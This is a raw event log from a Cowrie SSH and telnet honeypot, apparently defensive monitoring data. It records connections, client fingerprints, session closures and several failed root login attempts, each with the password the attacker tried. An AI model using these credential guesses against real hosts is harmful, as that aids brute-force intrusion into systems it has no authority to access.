{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:13.486934Z","src_ip":"200.77.172.159","session":"0dc4ec830279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"candy123","message":"login attempt [root/candy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:13.810379Z","src_ip":"200.77.172.159","session":"0dc4ec830279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:14.887458Z","src_ip":"200.77.172.159","session":"0dc4ec830279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.9950590133667,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:14.967404Z","src_ip":"50.6.8.71","session":"65c9ab7ef640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.225.20","src_port":54160,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7456a5fa787","protocol":"ssh","message":"New connection: 165.154.225.20:54160 (10.17.0.5:22) [session: e7456a5fa787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:16.030249Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:16.236717Z","src_ip":"165.154.225.20","session":"e7456a5fa787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33858,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddba1afd113a","protocol":"telnet","message":"New connection: 50.6.8.71:33858 (10.17.0.5:23) [session: ddba1afd113a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:17.061488Z"}
{"eventid":"cowrie.session.closed","duration":31.204053163528442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:18.946784Z","src_ip":"50.6.8.71","session":"88c60e422b6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51442790031433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:21.240389Z","src_ip":"50.6.8.71","session":"a7db59ff559d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33880,"dst_ip":"10.17.0.5","dst_port":23,"session":"694143431e82","protocol":"telnet","message":"New connection: 50.6.8.71:33880 (10.17.0.5:23) [session: 694143431e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:25.641873Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33862,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7231fa0398b","protocol":"telnet","message":"New connection: 50.6.8.71:33862 (10.17.0.5:23) [session: d7231fa0398b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:25.695918Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35136,"dst_ip":"10.17.0.5","dst_port":23,"session":"787a6bc8ab14","protocol":"telnet","message":"New connection: 50.6.8.71:35136 (10.17.0.5:23) [session: 787a6bc8ab14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:25.826386Z"}
{"eventid":"cowrie.session.closed","duration":32.80674767494202,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:34.474432Z","src_ip":"50.6.8.71","session":"f02271a1da61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":35018,"dst_ip":"159.203.135.109","dst_port":22,"session":"09e6208392ca","protocol":"ssh","message":"New connection: 89.108.118.91:35018 (159.203.135.109:22) [session: 09e6208392ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:42.591552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:42.595762Z","src_ip":"89.108.118.91","session":"09e6208392ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:42.739842Z","src_ip":"89.108.118.91","session":"09e6208392ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:43.169150Z","src_ip":"89.108.118.91","session":"09e6208392ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:44.314480Z","src_ip":"89.108.118.91","session":"09e6208392ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54536,"dst_ip":"10.17.0.5","dst_port":23,"session":"79907354a51a","protocol":"telnet","message":"New connection: 50.6.8.71:54536 (10.17.0.5:23) [session: 79907354a51a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:45.317155Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"75e2e234bc7b","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 75e2e234bc7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:49.082566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:49.086859Z","src_ip":"4.210.91.174","session":"75e2e234bc7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:49.156759Z","src_ip":"4.210.91.174","session":"75e2e234bc7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7","message":"login attempt [root/7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:49.476300Z","src_ip":"4.210.91.174","session":"75e2e234bc7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.667622327804565,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:49.728974Z","src_ip":"50.6.8.71","session":"ddba1afd113a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43086,"dst_ip":"10.17.0.5","dst_port":23,"session":"627cc3cfea40","protocol":"telnet","message":"New connection: 50.6.8.71:43086 (10.17.0.5:23) [session: 627cc3cfea40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:50.406260Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:50.548721Z","src_ip":"4.210.91.174","session":"75e2e234bc7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.00922727584839,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:57.835519Z","src_ip":"50.6.8.71","session":"787a6bc8ab14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43096,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c516194bf2","protocol":"telnet","message":"New connection: 50.6.8.71:43096 (10.17.0.5:23) [session: 60c516194bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:14:58.782870Z"}
{"eventid":"cowrie.session.closed","duration":36.53180742263794,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:02.173573Z","src_ip":"50.6.8.71","session":"694143431e82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56700,"dst_ip":"10.17.0.5","dst_port":23,"session":"c271c858e888","protocol":"telnet","message":"New connection: 50.6.8.71:56700 (10.17.0.5:23) [session: c271c858e888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:05.871132Z"}
{"eventid":"cowrie.session.closed","duration":44.805397510528564,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:10.501194Z","src_ip":"50.6.8.71","session":"d7231fa0398b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.221.8.157","src_port":45364,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d1b9822ce9c","protocol":"telnet","message":"New connection: 113.221.8.157:45364 (10.17.0.5:23) [session: 7d1b9822ce9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:11.002557Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56704,"dst_ip":"10.17.0.5","dst_port":23,"session":"b584293c82a2","protocol":"telnet","message":"New connection: 50.6.8.71:56704 (10.17.0.5:23) [session: b584293c82a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:12.475893Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60848,"dst_ip":"10.17.0.5","dst_port":23,"session":"8980da04a7bc","protocol":"telnet","message":"New connection: 50.6.8.71:60848 (10.17.0.5:23) [session: 8980da04a7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:16.771850Z"}
{"eventid":"cowrie.session.closed","duration":32.98948931694031,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:23.395645Z","src_ip":"50.6.8.71","session":"627cc3cfea40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.683812856674194,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:24.000848Z","src_ip":"50.6.8.71","session":"79907354a51a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60850,"dst_ip":"10.17.0.5","dst_port":23,"session":"f01f66918afa","protocol":"telnet","message":"New connection: 50.6.8.71:60850 (10.17.0.5:23) [session: f01f66918afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:24.259968Z"}
{"eventid":"cowrie.session.closed","duration":13.45908260345459,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:24.461507Z","src_ip":"113.221.8.157","session":"7d1b9822ce9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":52808,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a1cdf4796e0","protocol":"ssh","message":"New connection: 200.77.172.159:52808 (159.203.135.109:22) [session: 1a1cdf4796e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:31.907506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:31.911825Z","src_ip":"200.77.172.159","session":"1a1cdf4796e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:31.987847Z","src_ip":"200.77.172.159","session":"1a1cdf4796e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf1234","message":"login attempt [root/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:32.310022Z","src_ip":"200.77.172.159","session":"1a1cdf4796e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:33.386485Z","src_ip":"200.77.172.159","session":"1a1cdf4796e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.618507385253906,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:35.401246Z","src_ip":"50.6.8.71","session":"60c516194bf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43068,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2d759db16ad","protocol":"telnet","message":"New connection: 50.6.8.71:43068 (10.17.0.5:23) [session: c2d759db16ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:35.457879Z"}
{"eventid":"cowrie.session.closed","duration":39.48566246032715,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:45.356641Z","src_ip":"50.6.8.71","session":"c271c858e888","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.672017097473145,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:47.147785Z","src_ip":"50.6.8.71","session":"b584293c82a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03400468826294,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:48.805728Z","src_ip":"50.6.8.71","session":"8980da04a7bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.002112865448,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:49.372581Z","src_ip":"181.94.225.234","session":"0270f617a0ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":43860,"dst_ip":"159.203.135.109","dst_port":23,"session":"d84eaef5797e","protocol":"telnet","message":"New connection: 181.94.225.234:43860 (159.203.135.109:23) [session: d84eaef5797e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:51.789603Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57718,"dst_ip":"10.17.0.5","dst_port":23,"session":"0193b7297363","protocol":"telnet","message":"New connection: 50.6.8.71:57718 (10.17.0.5:23) [session: 0193b7297363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:54.210071Z"}
{"eventid":"cowrie.session.closed","duration":120.00227618217468,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:55.446530Z","src_ip":"181.94.225.234","session":"fb16b2d87f39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46598720550537,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:56.725849Z","src_ip":"50.6.8.71","session":"f01f66918afa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":43044,"dst_ip":"10.17.0.5","dst_port":22,"session":"e32bbafb629f","protocol":"ssh","message":"New connection: 38.93.206.2:43044 (10.17.0.5:22) [session: e32bbafb629f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:57.307396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:57.312520Z","src_ip":"38.93.206.2","session":"e32bbafb629f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:57.365977Z","src_ip":"38.93.206.2","session":"e32bbafb629f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:57.524385Z","src_ip":"38.93.206.2","session":"e32bbafb629f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:58.577938Z","src_ip":"38.93.206.2","session":"e32bbafb629f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":44829,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f7374ae49dc","protocol":"telnet","message":"New connection: 181.94.225.234:44829 (159.203.135.109:23) [session: 8f7374ae49dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:15:58.891594Z"}
